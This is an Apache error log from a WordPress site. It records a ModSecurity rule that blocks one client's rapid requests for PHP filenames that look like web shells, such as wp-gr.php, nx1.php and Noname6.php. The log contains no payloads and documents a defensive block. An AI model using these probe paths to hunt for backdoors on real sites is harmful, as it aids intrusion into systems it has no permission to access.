[Wed May 13 10:46:40.258584 2026] [autoindex:error] [pid 23887:tid 23901] [client 20.48.166.247:22094] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 13 10:46:42.027033 2026] [autoindex:error] [pid 23887:tid 23903] [client 20.48.166.247:22094] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 13 10:46:53.019107 2026] [:error] [pid 23887:tid 23916] [client 20.48.166.247:22094] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agPmHdSKmvZJZkXBFDBHNQAAANU"]
[Wed May 13 10:46:53.498596 2026] [:error] [pid 23782:tid 23834] [client 20.48.166.247:22105] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agPmHSBrKFYHXUGnR-qfYAAAAE0"]
[Wed May 13 10:46:53.958860 2026] [:error] [pid 3259:tid 3282] [client 20.48.166.247:22170] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agPmHeWJB4YwcPVLeArGBQAAARU"]
[Wed May 13 10:46:54.401833 2026] [:error] [pid 23782:tid 23836] [client 20.48.166.247:21964] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agPmHiBrKFYHXUGnR-qfYQAAAE8"]
[Wed May 13 10:46:54.869320 2026] [:error] [pid 23782:tid 23826] [client 20.48.166.247:22073] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.1.php"] [unique_id "agPmHiBrKFYHXUGnR-qfYwAAAEU"]
[Wed May 13 10:46:55.690538 2026] [:error] [pid 23782:tid 23822] [client 20.48.166.247:22181] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.1.php"] [unique_id "agPmHyBrKFYHXUGnR-qfZgAAAEE"]
[Wed May 13 10:46:56.220543 2026] [:error] [pid 23782:tid 23835] [client 20.48.166.247:22044] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.1.php"] [unique_id "agPmICBrKFYHXUGnR-qfZwAAAE4"]
[Wed May 13 10:46:56.889033 2026] [:error] [pid 23887:tid 23900] [client 20.48.166.247:22078] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.1.php"] [unique_id "agPmINSKmvZJZkXBFDBHOAAAAMU"]
[Wed May 13 10:46:57.505947 2026] [:error] [pid 23887:tid 23909] [client 20.48.166.247:22047] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "agPmIdSKmvZJZkXBFDBHOQAAAM4"]
[Wed May 13 10:46:58.092334 2026] [:error] [pid 23887:tid 23915] [client 20.48.166.247:22051] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "agPmItSKmvZJZkXBFDBHOwAAANQ"]
[Wed May 13 10:46:58.567728 2026] [:error] [pid 23780:tid 23810] [client 20.48.166.247:21981] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "agPmInXgOibPjrXgeTBedAAAABA"]
[Wed May 13 10:46:59.002277 2026] [:error] [pid 23887:tid 23906] [client 20.48.166.247:22127] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "agPmI9SKmvZJZkXBFDBHPAAAAMs"]
[Wed May 13 10:46:59.685761 2026] [:error] [pid 23887:tid 23901] [client 20.48.166.247:22090] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agPmI9SKmvZJZkXBFDBHPQAAAMY"]
[Wed May 13 10:47:00.203130 2026] [:error] [pid 23780:tid 23806] [client 20.48.166.247:22019] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agPmJHXgOibPjrXgeTBedgAAAAw"]
[Wed May 13 10:47:00.650426 2026] [:error] [pid 23780:tid 23814] [client 20.48.166.247:21973] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agPmJHXgOibPjrXgeTBedwAAABQ"]
[Wed May 13 10:47:01.155864 2026] [:error] [pid 23887:tid 23913] [client 20.48.166.247:21991] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agPmJdSKmvZJZkXBFDBHRAAAANI"]
[Wed May 13 10:47:01.613445 2026] [:error] [pid 23887:tid 23916] [client 20.48.166.247:22017] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agPmJdSKmvZJZkXBFDBHRgAAANU"]
[Wed May 13 10:47:02.108829 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22075] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agPmJtSKmvZJZkXBFDBHRwAAANc"]
[Wed May 13 10:47:02.564312 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:21963] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agPmJtSKmvZJZkXBFDBHSAAAAMw"]
[Wed May 13 10:47:03.070373 2026] [:error] [pid 23782:tid 23823] [client 20.48.166.247:21961] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agPmJyBrKFYHXUGnR-qfagAAAEI"]
[Wed May 13 10:47:03.597776 2026] [:error] [pid 23887:tid 23917] [client 20.48.166.247:21995] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff2.php"] [unique_id "agPmJ9SKmvZJZkXBFDBHSgAAANY"]
[Wed May 13 10:47:04.115373 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22271] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff2.php"] [unique_id "agPmKNSKmvZJZkXBFDBHUAAAAMI"]
[Wed May 13 10:47:04.700450 2026] [:error] [pid 23887:tid 23913] [client 20.48.166.247:22018] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff2.php"] [unique_id "agPmKNSKmvZJZkXBFDBHUQAAANI"]
[Wed May 13 10:47:05.189160 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22064] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff2.php"] [unique_id "agPmKdSKmvZJZkXBFDBHVQAAAM8"]
[Wed May 13 10:47:05.771709 2026] [:error] [pid 23887:tid 23895] [client 20.48.166.247:22056] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agPmKdSKmvZJZkXBFDBHWAAAAMA"]
[Wed May 13 10:47:06.225943 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22122] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agPmKtSKmvZJZkXBFDBHYgAAAMw"]
[Wed May 13 10:47:06.703356 2026] [:error] [pid 3259:tid 3272] [client 20.48.166.247:21968] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agPmKuWJB4YwcPVLeArGDgAAAQs"]
[Wed May 13 10:47:07.162274 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:21975] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agPmK-WJB4YwcPVLeArGEAAAARQ"]
[Wed May 13 10:47:07.653250 2026] [:error] [pid 3259:tid 3279] [client 20.48.166.247:22058] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "agPmK-WJB4YwcPVLeArGEgAAARI"]
[Wed May 13 10:47:08.198253 2026] [:error] [pid 23780:tid 23801] [client 20.48.166.247:22065] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "agPmLHXgOibPjrXgeTBefQAAAAc"]
[Wed May 13 10:47:08.670333 2026] [:error] [pid 3259:tid 3265] [client 20.48.166.247:22069] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "agPmLOWJB4YwcPVLeArGFwAAAQQ"]
[Wed May 13 10:47:09.262710 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:21966] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "agPmLeWJB4YwcPVLeArGGQAAAQM"]
[Wed May 13 10:47:09.801642 2026] [:error] [pid 3259:tid 3263] [client 20.48.166.247:21892] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agPmLeWJB4YwcPVLeArGGwAAAQI"]
[Wed May 13 10:47:10.330572 2026] [:error] [pid 3259:tid 3270] [client 20.48.166.247:21981] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agPmLuWJB4YwcPVLeArGHAAAAQk"]
[Wed May 13 10:47:11.045811 2026] [:error] [pid 3259:tid 3275] [client 20.48.166.247:21998] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agPmL-WJB4YwcPVLeArGHwAAAQ4"]
[Wed May 13 10:47:11.647677 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:22072] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agPmL-WJB4YwcPVLeArGIgAAARQ"]
[Wed May 13 10:47:12.287897 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:21890] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agPmMNSKmvZJZkXBFDBHbgAAAMg"]
[Wed May 13 10:47:12.800957 2026] [:error] [pid 3259:tid 3277] [client 20.48.166.247:22029] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agPmMOWJB4YwcPVLeArGJgAAARA"]
[Wed May 13 10:47:14.868029 2026] [:error] [pid 23887:tid 23902] [client 20.48.166.247:21967] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agPmMtSKmvZJZkXBFDBHbwAAAMc"]
[Wed May 13 10:47:15.390594 2026] [:error] [pid 23787:tid 23868] [client 20.48.166.247:22108] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agPmMx1cs5wE7VT6wirP8AAAAJQ"]
[Wed May 13 10:47:16.060822 2026] [:error] [pid 23887:tid 23900] [client 20.48.166.247:22137] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3586%20b64.php"] [unique_id "agPmNNSKmvZJZkXBFDBHcQAAAMU"]
[Wed May 13 10:47:16.524921 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22111] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3586%20b64.php"] [unique_id "agPmNNSKmvZJZkXBFDBHcwAAAMM"]
[Wed May 13 10:47:17.024148 2026] [:error] [pid 23887:tid 23917] [client 20.48.166.247:21970] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3586%20b64.php"] [unique_id "agPmNdSKmvZJZkXBFDBHdQAAANY"]
[Wed May 13 10:47:17.597646 2026] [:error] [pid 23887:tid 23904] [client 20.48.166.247:21993] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3586%20b64.php"] [unique_id "agPmNdSKmvZJZkXBFDBHeAAAAMk"]
[Wed May 13 10:47:18.109069 2026] [:error] [pid 23887:tid 23915] [client 20.48.166.247:22169] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/18299.php"] [unique_id "agPmNtSKmvZJZkXBFDBHewAAANQ"]
[Wed May 13 10:47:18.635705 2026] [:error] [pid 23887:tid 23901] [client 20.48.166.247:22046] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/18299.php"] [unique_id "agPmNtSKmvZJZkXBFDBHfQAAAMY"]
[Wed May 13 10:47:19.308585 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:21972] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/18299.php"] [unique_id "agPmN9SKmvZJZkXBFDBHgAAAAMg"]
[Wed May 13 10:47:19.798730 2026] [:error] [pid 23780:tid 23794] [client 20.48.166.247:21992] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/18299.php"] [unique_id "agPmN3XgOibPjrXgeTBefwAAAAA"]
[Wed May 13 10:47:20.414436 2026] [:error] [pid 23787:tid 23850] [client 20.48.166.247:22061] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx1.php"] [unique_id "agPmOB1cs5wE7VT6wirP9wAAAII"]
[Wed May 13 10:47:21.036215 2026] [:error] [pid 23787:tid 23860] [client 20.48.166.247:21989] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx1.php"] [unique_id "agPmOR1cs5wE7VT6wirP-AAAAIw"]
[Wed May 13 10:47:21.551394 2026] [:error] [pid 3259:tid 3278] [client 20.48.166.247:22343] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx1.php"] [unique_id "agPmOeWJB4YwcPVLeArGMAAAARE"]
[Wed May 13 10:47:22.143509 2026] [:error] [pid 23787:tid 23849] [client 20.48.166.247:21957] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx1.php"] [unique_id "agPmOh1cs5wE7VT6wirP-QAAAIE"]
[Wed May 13 10:47:22.712968 2026] [:error] [pid 23782:tid 23834] [client 20.48.166.247:22205] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Noname6.php"] [unique_id "agPmOiBrKFYHXUGnR-qfbQAAAE0"]
[Wed May 13 10:47:23.288250 2026] [:error] [pid 23782:tid 23836] [client 20.48.166.247:21922] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Noname6.php"] [unique_id "agPmOyBrKFYHXUGnR-qfbwAAAE8"]
[Wed May 13 10:47:23.791855 2026] [:error] [pid 3259:tid 3285] [client 20.48.166.247:22030] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Noname6.php"] [unique_id "agPmO-WJB4YwcPVLeArGNgAAARg"]
